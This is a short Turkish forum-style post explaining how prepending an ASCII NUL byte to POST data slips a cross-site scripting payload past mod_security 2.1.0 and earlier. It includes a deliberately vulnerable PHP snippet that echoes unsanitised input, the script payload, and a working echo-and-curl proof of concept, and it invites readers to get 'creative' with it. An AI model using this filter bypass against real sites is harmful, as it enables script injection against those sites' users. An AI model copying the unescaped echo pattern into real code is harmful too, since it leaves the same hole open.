mod_security 2.1.0 ve aşağısındaki tüm sürümlerde bulunan süper açık el yapımı mod_security e güvenen tüm php coderlarını kara kara düşündürücek nitelikte :)
olay şöyle;
diyelimki bir php kodumuz var
<?php
if (isset($_POST['var'])
echo($_POST['var']);
?>
şeklinde gelen bütün postları ekrana yazdırıyoruz.
mod_security aktif diyelim... sayfaya post olarak
&var=<script>alert(/xss/);</script>
verisini gönderdik.. default configde ayar yoksa kodumuz çıkıcaktır yine.. yada engellenebilinir mod_security tarafından engellenmese bile log dosyasında XSS saldırısı olaiblir diye kayıt eklenicek.
buraya kadar herşey normal.. bu query mizin başına ascii 0 karakteri eklediğimizde mod_security i aşaibliyoruz !
örnek olarak;
$ echo -e "\000&var=<script>alert(/xss/);</script>" > postdata
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent
<script>alert(/xss/);</script>
bu curl kullanan linuxcu abilerimiz için yabancı bi sitede hazırlanmış kod.. tabi aynı karakteri windowsdada hazırlayıp post edebilirsiniz örneğin denyolaunch un test tuşu ile tek bir post verisi göndererek.. gersi sizin yaratıcılığınıza kalmış. :)
kaynak: http://www.php-security.org/MOPB/BONUS-12-2007.html